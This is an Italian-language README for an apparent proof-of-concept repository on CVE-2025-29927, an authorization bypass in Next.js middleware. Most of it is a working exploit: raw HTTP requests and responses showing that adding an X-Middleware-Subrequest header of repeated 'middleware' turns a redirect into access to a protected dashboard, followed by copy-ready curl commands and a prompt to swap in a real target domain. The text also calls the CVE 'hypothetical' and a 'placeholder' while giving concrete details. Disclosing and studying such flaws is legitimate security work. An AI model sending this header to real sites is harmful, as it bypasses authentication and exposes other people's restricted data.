
Bypass dell'autorizzazione nel middleware di Next.js
Questo repository contiene un Proof of Concept (PoC) per CVE-2025-29927, una vulnerabilità ipotetica che dimostra un difetto nella gestione del middleware all'interno di un'applicazione web. Il PoC illustra come una richiesta HTTP appositamente modificata possa bypassare la logica di reindirizzamento per accedere a contenuti riservati, come una dashboard. Questo progetto è progettato esclusivamente per scopi educativi e di ricerca sulla sicurezza.
Disclaimer: Questo PoC è pensato per essere utilizzato in ambienti controllati con esplicita autorizzazione. Test non autorizzati su sistemi di cui non si possiede la proprietà o per i quali non si ha il consenso sono illegali e non etici.
Per seguire questo PoC, avrai bisogno di:
abc.com) che esegue una configurazione vulnerabile (software/versione specifici da determinare in base ai dettagli della CVE).curl (curl.se), Burp Suite (portswigger.net/burp), o uno script personalizzato.CVE-2025-29927 (segnaposto; sostituire con i dettagli ufficiali della CVE quando disponibili) sembra sfruttare una configurazione errata del middleware o un difetto logico. Il PoC dimostra che l'aggiunta di un'intestazione personalizzata (X-Middleware-Subrequest) altera il comportamento del server, bypassando un meccanismo di reindirizzamento per accedere a contenuti riservati. Ciò è probabilmente legato a come il middleware (es. Nginx con Next.js) elabora le subrequest o convalida le intestazioni.
Per ulteriori informazioni sulle vulnerabilità del middleware, consulta OWASP Middleware Security.
Il PoC consiste in due passaggi: una richiesta iniziale non riuscita e una richiesta modificata riuscita. Ogni passaggio include la richiesta HTTP, la risposta e una spiegazione dettagliata.
Questo passaggio mostra il comportamento predefinito del server quando si accede all'endpoint /dashboard senza intestazioni aggiuntive.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Tenta di accedere all'endpoint della dashboard.User-Agent e Accept mimano una tipica richiesta del browser.307 Temporary Redirect: Indica che il server reindirizza il client, probabilmente a causa di autenticazione, autorizzazione o logica di routing (es. reindirizzamento a una pagina di login).Server: nginx/1.14.1: Identifica il software del server web./dashboard. La mancanza di un'intestazione Location in questa risposta (possibilmente omessa per brevità) implica che la destinazione del reindirizzamento sia altrove.Questo passaggio introduce un'intestazione personalizzata per bypassare il reindirizzamento, recuperando con successo il contenuto della dashboard.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Un'intestazione personalizzata aggiunta alla richiesta originale. La stringa middleware ripetuta potrebbe sfruttare un difetto di parsing o convalida nello stack middleware.200 OK: Conferma l'accesso riuscito al contenuto della dashboard.Content-Type: text/html; charset=utf-8: Indica una risposta HTML, probabilmente la pagina della dashboard.X-Powered-By: Next.js: Suggerisce che l'applicazione utilizza Next.js, un framework React che spesso si basa sul middleware per il routing.Cache-Control: Impedisce la memorizzazione nella cache, tipico per contenuti dinamici specifici dell'utente.Content-Length: 30174: Dimensione del corpo della risposta in byte.X-Middleware-Subrequest probabilmente inganna il middleware facendogli trattare la richiesta come una subrequest legittima, bypassando la logica di reindirizzamento. Ciò potrebbe indicare una vulnerabilità nel modo in cui le subrequest vengono convalidate o elaborate.Segui questi passaggi per replicare il PoC utilizzando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Output previsto: Una risposta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Output previsto: Una risposta 200 OK con il contenuto della dashboard.
Nota: Sostituisci abc.com con il dominio effettivo di destinazione se stai testando in un ambiente autorizzato.
curl per richieste HTTP.Questo progetto è concesso in licenza con la Licenza MIT. Vedi il file LICENSE per i dettagli.